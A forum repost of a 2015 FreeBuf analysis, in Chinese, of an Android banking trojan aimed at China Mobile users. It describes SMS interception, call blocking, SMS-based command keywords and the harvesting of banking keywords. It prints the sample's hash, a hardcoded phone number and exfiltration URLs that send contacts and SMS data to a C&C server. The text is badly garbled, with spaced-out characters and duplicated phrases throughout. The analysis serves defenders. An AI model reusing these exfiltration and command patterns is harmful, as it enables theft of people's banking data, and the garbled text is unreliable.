搜索

[8660] 2015-02-05_揭秘：针对中国移动用户的强大网银木马剖析

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-17
2015-02-05_揭秘：针对中国移动用户的强大网银木马剖析 揭 秘 ： 针 对 中 国 移 动 用 户 的 强 大 网 银 木 马 剖 析 F r e e B u f   2 0 1 5 - 0 2 - 0 5 我 们 最 近 遇 到 一 个 安 卓 平 台 的 网 银 木 马 ， 该 木 马 主 要 瞄 向 中 国 的 移 动 用 户 ， 检 出 率 很 低 。 该 安 卓 木 马 能 够 拦 截 短 信 我 们 最 近 遇 到 一 个 安 卓 平 台 的 网 银 木 马 ， 该 木 马 主 要 瞄 向 中 国 的 移 动 用 户 ， 检 出 率 很 低 。 该 安 卓 木 马 能 够 拦 截 短 信 并 寻 找 特 定 的 关 键 字 ， 盗 取 用 户 网 银 信 息 。 此 外 ， 它 还 会 从 用 户 的 移 动 设 备 中 盗 取 所 有 的 联 系 人 信 息 ， 并 将 其 发 送 并 寻 找 特 定 的 关 键 字 ， 盗 取 用 户 网 银 信 息 。 此 外 ， 它 还 会 从 用 户 的 移 动 设 备 中 盗 取 所 有 的 联 系 人 信 息 ， 并 将 其 发 送 到 远 程 服 务 器 。 到 远 程 服 务 器 。 木 马 相 关 信 息 木 马 相 关 信 息 名 字 ： 8 8 8 . a p k M D 5 ： f f 0 8 1 c 1 4 0 0 a 9 4 8 f 2 b c c 4 9 5 2 f e d 2 c 8 1 8 b 。 V T ： 7 / 5 6   ( 分 析 该 木 马 时 ) 样 本 ： 点 我 下 载 木 马 功 能 ： 木 马 功 能 ： 1 、 拦 截 和 捕 获 所 有 接 收 和 发 出 的 短 信 2 、 拦 截 来 电 和 结 束 通 话 的 功 能 3 、 通 过 短 信 接 收 C & C 服 务 器 指 令 4 、 将 盗 取 的 数 据 通 过 短 信 、 电 子 邮 件 、 w e b 请 求 发 送 到 C & C 服 务 器 代 码 级 功 能 分 析 代 码 级 功 能 分 析 下 面 就 让 我 们 一 起 分 析 下 该 木 马 的 特 征 和 功 能 实 现 ： 0 x 0 1   捕 获 邮 箱 和 手 机 号 捕 获 邮 箱 和 手 机 号
在 上 面 的 截 图 中 ， 可 以 看 到 ， 该 木 马 将 捕 获 的 出 站 短 信 通 过 电 子 邮 件 发 送 到 硬 编 码 的 1 6 3 .   C o m 邮 箱 地 址 。 它 将 盗 取 的 数 据 以 “ 发 给 x x x 的 短 信 ” 为 主 题 发 送 出 去 。 在 这 里 ， 可 以 看 到 它 将 捕 获 到 的 入 站 短 信 以 同 样 的 参 数 用 邮 件 发 送 到 指 定 邮 箱 。 此 外 ， 它 还 将 同 样 的 信 息 通 过 短 信 发 送 到 一 个 硬 编 码 的 中 国 手 机 号 码 “ 1 5 9 9 6 5 8 1 5 2 4 ” 。 0 x 0 2   电 话 拦 截 电 话 拦 截
上 图 显 示 了 该 木 马 具 有 拦 截 来 电 的 功 能 ， 并 能 够 将 来 电 号 码 以 主 题 为 “ 拨 打 进 来 的 一 次 来 电 ! ” 的 邮 件 发 送 出 去 ， 而 且 它 还 有 挂 断 电 话 的 功 能 。 0 x 0 3   远 程 控 制 远 程 控 制 该 木 马 还 能 够 通 过 短 信 接 收 C & C 服 务 器 发 送 的 指 令 ， 该 指 令 由 木 马 作 者 远 程 发 送 。
在 上 面 的 截 图 中 可 以 看 到 ， 攻 击 者 可 以 通 过 短 信 发 送 指 令 “ i n t e r c e p t # ” 来 开 始 数 据 的 捕 获 行 为 ， 还 能 够 通 过 短 信 发 送 指 令 “ i n t e r c e p t s t o p # ” 来 停 止 捕 获 行 为 。 在 上 面 的 截 图 中 我 们 可 以 看 到 ， 与 网 银 交 易 有 关 的 地 方 都 做 了 字 符 串 检 测 处 理 ， 它 可 以 检 测 如 “ 支 付 ” 、 ” 校 验 ” 、 ” 银 行 ” 、 “ 余 额 ” 、 “ 验 证 ” 的 字 符 串 ， 这 很 明 显 地 表 明 木 马 的 作 者 意 图 嗅 探 与 网 银 相 关 的 信 息 。
恶 意 软 件 将 短 信 接 收 器 和 拨 出 电 话 服 务 的 优 先 级 设 置 为 高 优 先 级 ， 这 将 确 保 当 这 些 事 件 发 生 时 ， 该 木 马 比 其 他 应 用 拥 有 更 高 的 处 理 优 先 权 。 0 x 0 4   请 求 发 送 请 求 发 送 从 上 图 中 我 们 也 能 看 到 一 些 代 码 ， 这 些 代 码 能 够 确 保 该 木 马 将 盗 取 的 联 系 人 信 息 和 短 信 数 据 通 过 W e b 请 求 的 方 式 发 送 出 去 。 然 而 ， 在 当 前 版 本 的 木 马 中 ， 这 个 功 能 似 乎 并 不 起 作 用 然 而 ， 在 当 前 版 本 的 木 马 中 ， 这 个 功 能 似 乎 并 不 起 作 用 … … 我 们 猜 测 可 能 是 木 马 的 作 者 仍 旧 在 测 试 这 个 功 能 。 我 们 猜 测 可 能 是 木 马 的 作 者 仍 旧 在 测 试 这 个 功 能 。 " h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 0 2 / i n p u t / i n p u t _ d a t a _ g e t _ c o n t a c t . a s p ? u s e r = X X X & p w d = X X X X & a d d r = "
" h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 0 2 / i n p u t / i n p u t _ d a t a _ g e t _ s m s . a s p ? u s e r = X X X & p w d = X X X & a d d r = X X X & i d = X X X " 木 马 窃 取 信 息 截 图 木 马 窃 取 信 息 截 图 下 面 的 截 图 只 是 一 个 示 例 ， 显 示 木 马 的 作 者 通 过 该 恶 意 A P K 从 感 染 用 户 那 里 捕 获 隐 私 信 息 。 1 、 发 送 邮 件 、 发 送 邮 件 2 、 拦 截 呼 入 电 话 、 拦 截 呼 入 电 话 3 、 窃 取 联 系 人 信 息 、 窃 取 联 系 人 信 息
4 、 受 感 染 的 中 国 移 动 用 户 、 受 感 染 的 中 国 移 动 用 户 经 过 上 面 的 一 系 列 描 述 ， 我 们 已 经 可 以 看 到 这 款 移 动 平 台 的 网 银 盗 窃 木 马 的 威 力 。 鉴 于 木 马 往 往 升 级 频 繁 ， 逃 避 查 经 过 上 面 的 一 系 列 描 述 ， 我 们 已 经 可 以 看 到 这 款 移 动 平 台 的 网 银 盗 窃 木 马 的 威 力 。 鉴 于 木 马 往 往 升 级 频 繁 ， 逃 避 查 杀 的 能 力 也 会 与 日 俱 增 。 我 们 相 信 未 来 ， 木 马 对 抗 将 面 临 更 大 的 挑 战 。 杀 的 能 力 也 会 与 日 俱 增 。 我 们 相 信 未 来 ， 木 马 对 抗 将 面 临 更 大 的 挑 战 。 [ 参 考 来 源 参 考 来 源 r e s e a r c h . z s c a l e r ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f 黑 客 与 极 客 （ 黑 客 与 极 客 （ F r e e B u f . C O M ） ） ] 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理